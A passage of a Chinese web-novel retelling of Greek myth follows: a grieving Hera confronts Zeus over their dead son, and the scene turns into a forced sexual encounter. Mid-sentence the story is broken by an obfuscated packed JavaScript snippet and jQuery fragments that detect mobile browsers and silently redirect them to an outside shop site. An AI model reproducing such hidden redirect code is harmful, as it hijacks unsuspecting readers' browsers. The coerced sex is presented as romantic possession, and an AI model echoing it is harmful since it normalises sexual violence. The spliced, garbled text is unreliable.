我往回走。
走了多久，我不记得了。山在我身后变成一条模糊的线，然后是旷野、河谷，以及我不认识的路。我没有看方向，也没有看天色，浑浑噩噩走到一条河边时，我停了下来。
水面上倒映着一张脸。
金色的眼睛、金色的头发、苍白的皮肤。
我盯着水面上那张和宙斯相似的脸，忽然感到一阵恶心。
我把手伸进水里，用力搅碎那个倒影。水花溅起来，打湿了我的前襟。我蹲在岸边，看着水面重新聚拢，那张脸又回来了。
——金色的眼睛看着我，和宙斯一模一样的眼神。
我站起来，没有再管，继续走。
后来我走到一座破败的神殿，不知道是哪个时代的旧神留下来的，墙皮剥落了大半，廊柱歪斜，屋顶塌了一角。我走进去，坐在墙角的一块石板上，靠着冰冷潮湿的墙壁，抱着膝盖，把头埋进手臂中间。
我不知道自己在那里坐了多久，可能是几个时辰，可能是几天，我没有数，时间在我身上失去了意义。
我一直想着瑟默冬最后说的那些话。
“我死之后，你回奥林匹斯去吧。”
“不是为了父亲，是为了你自己。”
“你一定要好好地活。”
可是瑟默冬，母亲做不到。
我低头看着自己的手。
这双手抱过他，替他擦过汗，在他发烧的时候覆在他额头上，在他死去的那个夜晚把他拢在怀里……可现在这双手是空的，连握拳的时候都感觉不到任何东西。
我像一盏失去所有燃料的灯，外壳还是完整的，里面却什么都没有了。我的身体还在机械地呼吸，空气进出肺叶、血液流经四肢，心脏还在跳——
我恨它还在跳。
就在这个时候，我听见了脚步声，很熟悉的脚步声。
“哥哥，”他停在我面前，半蹲下来，“我来接你回去。”
我没有理他，目光落在自己放在膝盖的手上。
“哥哥，”他又叫了一遍，“你在这里坐了很久了。跟我回去，回到奥林匹斯——”
“然后呢？”
太久没有说话，我的声音哑得可怕。
宙斯大概也没想到我还会开口。
“然后什么？”
“然后我回去，”我慢慢抬起头，看着那张脸，“然后我坐在那张神后的椅子上，和以前一样。你处理政务，我去花园走走。太阳升起来，太阳落下去，什么都和以前一样。”
“宙斯，你怎么可以——”
我的声音忽然断了。
那张脸，和我的脸太像了，同样的眉眼，同样的弧度，同样的瞳色。我看着他的脸，就像看着我自己。而我一看见自己的脸，我就想到瑟默冬。
瑟默冬的眼睛也是金色的。
而这张脸、这双眼睛的主人，在瑟默冬还活着的时候，对他说过那样的话。
“他怎么配做我的长子？”
“他资质平庸，学什么都慢。”
“他只是一个——”
我猛地站起来，宙斯被我的动作带得往后仰了一下，也站起来。
“哥哥——”
“你不要叫我。”
我后退一步：“你不要用这张脸叫我。”
宙斯的眉头皱了一下：“你什么意思？”
“你说我什么意思？”我反问，“你站在这里，用这张脸、这双眼睛，说要带我回奥林匹斯。”
“你怎么可以——你怎么能用这双眼睛看着我？你怎么能用这张脸站在我面前？”
“赫拉——”
“是你害死他的。”
这句话说出来的时候，我看见宙斯的脸色变了。
“你说什么？”
“我说，是你害死他的。”我说得比第一遍更清楚，“如果你没有说过那些话，如果你没有在那一天站在神殿里，对着一个五岁的孩子说出那些话——”
“他不会觉得自己是个废物，他不会觉得自己不配活。而这一切，他觉得自己不够好的这一切，都是从你嘴里说出来的。”
“从你——从你这张脸——从你这双眼睛——”
我抬起手，扇了他一巴掌。
那一下很重，我的掌心打在他脸颊上的声音在空旷的神殿里回响了一下，他的头被我打得偏向一边。金色的头发垂下来，遮住了他的半张脸。他没有动，就保持着那个被扇到偏头的姿势，站了很久。
然后他缓缓转回来，看着我，脸上多了一道鲜艳的红痕。
“我害死他的？”他往前走了一步，“你说是我说的那些话让他觉得自己是个废物，是我的那番言论让他没有了活下去的力气。”
“好，那我问你。”
“是谁在孕期差点把自己活活耗死的？是谁把自己的天空割让出去、换了一个婚姻神格的？是谁明知道自己身体已经撑不住了，还非要把他生下来的？”
他的声音越来越近，每一个字都砸在我胸口上，令我喘不上气。
“赫拉，你知道他为什么会先天不足吗？是你。是你的身体里那场神格冲突，是你在怀他的时候把自己拖得只剩一口气。他还没有出生，就已经被你的身体耗尽了本该继承的天资。他生下来就带着病根，那是你给他的。”
“你说是我害死了他？那好，我们一起算。”
“你知道他为什么从小就那么安静、那么乖、从不敢提要求吗？因为他不觉得自己值得。他的母亲每天看着他，眼睛里全是‘你是我唯一拥有的东西’——那种重量，你让他怎么承受？”
“他那么小，他就知道他的出生让你失去了天空、失去了自我。你的每一次付出，他都看在眼里。你以为你在爱他，可你是在用你的牺牲压垮他。”
“他不敢不乖，不敢让你失望。他拼了命地练那些他根本不可能学会的东西，不是为了当神王的长子，是为了让你觉得你没有白白为他牺牲。你说是我的那些话让他觉得自己是个废物，哈——”
他冷笑：“他早就觉得自己是个废物了，从我说的那句话之前，从他还不会说话的时候，他就知道自己是一个让母亲受苦的孩子。你给了他一切，却也是你让他觉得自己不配拥有这一切。你给了他生命，却也是你给了他一个需要用一生来偿还的债务。”
“你怪我说了那些话，那你呢？你每天抱着他，用那种‘你是我的全部’的眼神看着他——你以为他不知道你为他失去了什么？你以为他不明白你的世界除了他什么都没有了？你把他变成你活下去的唯一理由，然后在心里喊‘他死了，我该怎么活？’”
“你把他绑得那么紧，紧到他连死都不敢提前告诉你。你难道没有想过，他为什么要拉着你爬上那座山？为什么非要坐在山顶上、看着日落，才肯告诉你他要死了？”
“因为他不敢让你看着他死在床上，他知道你承受不了那个画面。所以他要选一个漂亮的、你以后想起来不会太痛的地方，他把自己的死包装成一场告别，他以为这样你就不会怪自己了——”
“但他错了。”宙斯的声音低了下来，“他死了之后，你还是怪你自己。但仅仅怪你自己还不够，你把所有的恨都砸在我身上，因为我是一个安全的靶子，因为恨我比恨你自己容易。”
“你看着我的时候，你看见的是你自己，你恨的是你自己。瑟默冬是你用你的天空、你的权柄、你的自由换来的，你受不了的不是我‘害死’了他，你受不了的是你付出了那么多，还是没能留住他。”
他说的每一个字，都剖在了我从来没有说出口、也从来不敢正视的地方。
是我自己的身体让瑟默冬先天不足。
是我的牺牲让他负重。
是我把他绑得太紧，紧到他连死都不愿让我看见。
他连死都在为我考虑，而我甚至没有在他活着的时候，让他觉得他可以不用那么乖。
“……我不会跟你回去的。”我最终说。
“什么？”
“我们之间结束了，在瑟默冬闭上眼睛的那一刻就结束了。”
“你再说一遍。”
“我说，我们结——”
我话没说完，他的手伸过来，扣住了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648427|206825||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
我的手腕，力道大得我听见自己的骨头发出“咔嚓”的声响。
我被他拽得往前踉跄了一步，撞进他怀里。他的另一只手已经按在我的后腰上，五指张开，掌心滚烫。
“我不同意。”
他的拇指搭在我手腕内侧的脉搏上，用力压下去。那处皮肤薄得透光，他的指腹碾|过时，我的整条手臂都麻了一下。我试图挣开，他的手却纹丝不动，像铁箍一样锁着我的腕骨，我甚至能感觉到他的指节正一寸一寸地收紧。
“宙斯，你发什么疯——”
“我发疯？”
他笑了一下，握着我的手腕，把我往后推。我踉跄着后退，脊背撞上那面冰凉的石墙。他掐住我的下颌，指腹抵在我颧骨下方，力道不轻不重，刚好够让我的脸被迫抬起来，迎上他的视线。
“你是我的神后，是我的双生，你的名字刻在我的神格里，我的名字也刻在你的神格里，我们之间从来就没有‘结束’这个选项。”
“你不想回去？好，那就不回去，”他嘴唇贴在我耳廓上，“我跟你待在这儿。”
他的膝盖抵|进我两腿之间，把我钉在墙上。我的手被他扣在头顶，压在粗粝的石壁上，腕骨硌着石头的棱角，皮肤被磨得发疼。他的另一只手从我的下颌滑下来，沿着喉结往下，指尖滑过我的锁骨，然后停在我胸口。
他的手掌覆上来，掌心贴着我胸腔那颗正在狂跳的心脏，感受了一下，说：“你这里跳得很快，你在怕我。”
“我没有——”
“你有。”
他的手指收拢，攥住我前襟的衣料，用力往两边撕|开。冷风灌进来，贴着我裸|露的胸口和肩膀，皮肤上激出一层细密的战栗。
“你不是说我害死了他吗？”他嘴唇落在我锁骨上方，说话时的气流扫过我皮肤上的毛孔，“你不是觉得我罪该万死吗？”
“那你恨我。”
他手指掐住我腰侧的皮肤，力道重到我抽了一口冷气。他的拇指往下按，陷进我胯骨的凹陷里，像是要在我身上烙下什么印记。我试图用膝盖顶开他，他的腿反而压得更用力了，把我钉在原处动弹不了。
“你恨我，我们就永远不可能结束。”
我的挣扎顿了一下，但他的动作没有停。他嘴唇贴着我喉结下方，牙齿轻轻咬了一下那片皮肤，然后用力吮|吸。疼痛和某种说不清的东西同时从那个位置蔓延开来，沿着我的颈侧扩散。
“有意思吗？”我问。
他怔了一下，随后整个人压上来，把我嵌|进墙和他身体之间的缝隙，密不透风，每一寸皮肤都被他的体温贴着。
“哥哥，我从来就不是什么好人。你知道我会拿到我想要的东西，不问方式、不计代价。”
他扯掉我腰间的系带，手指探|进|来的时候，我整个人都绷紧了。我咬着下唇，把脸别到一边，不让他看见我的表情。他的手指停在那里，停了几息，像是在等我的反应。
“看着我。”他说。
我不看他。
他掐住我的下巴，把我的脸掰回来。
“我说，看着我。”
我被迫和他对视，金色的眼睛对着金色的眼睛，像两面镜子互相映照。我在他的瞳孔里看见了自己的脸——狼狈的、脆弱的、屈辱的。
“赫拉，”他叫我的名字，语气里没有一丝一毫的动摇，“不要逼我用更糟的方式。”
“你还要多糟？”我哑着声音回他。
“你自己说的。”
他低下头，嘴唇落在我颈侧、肩窝、锁骨，一处一处，像在标记他的领地，每落一处就留下一片刺痛的红痕。
“你不愿意跟我回奥林匹斯。”
“那就哪儿都别去。”
他的手从我背后收回来，从我敞|开的衣袍之间穿进去，掌心贴着我的小腹。他的手指摊开，五指抵着我的腰线，像是在丈量什么。
“你要留下来，我就留在这里陪你。你要恨我一辈子，我就让你恨我一辈子。你要把瑟默冬的死算在我头上，我可以认——”
“但你休想甩掉我。”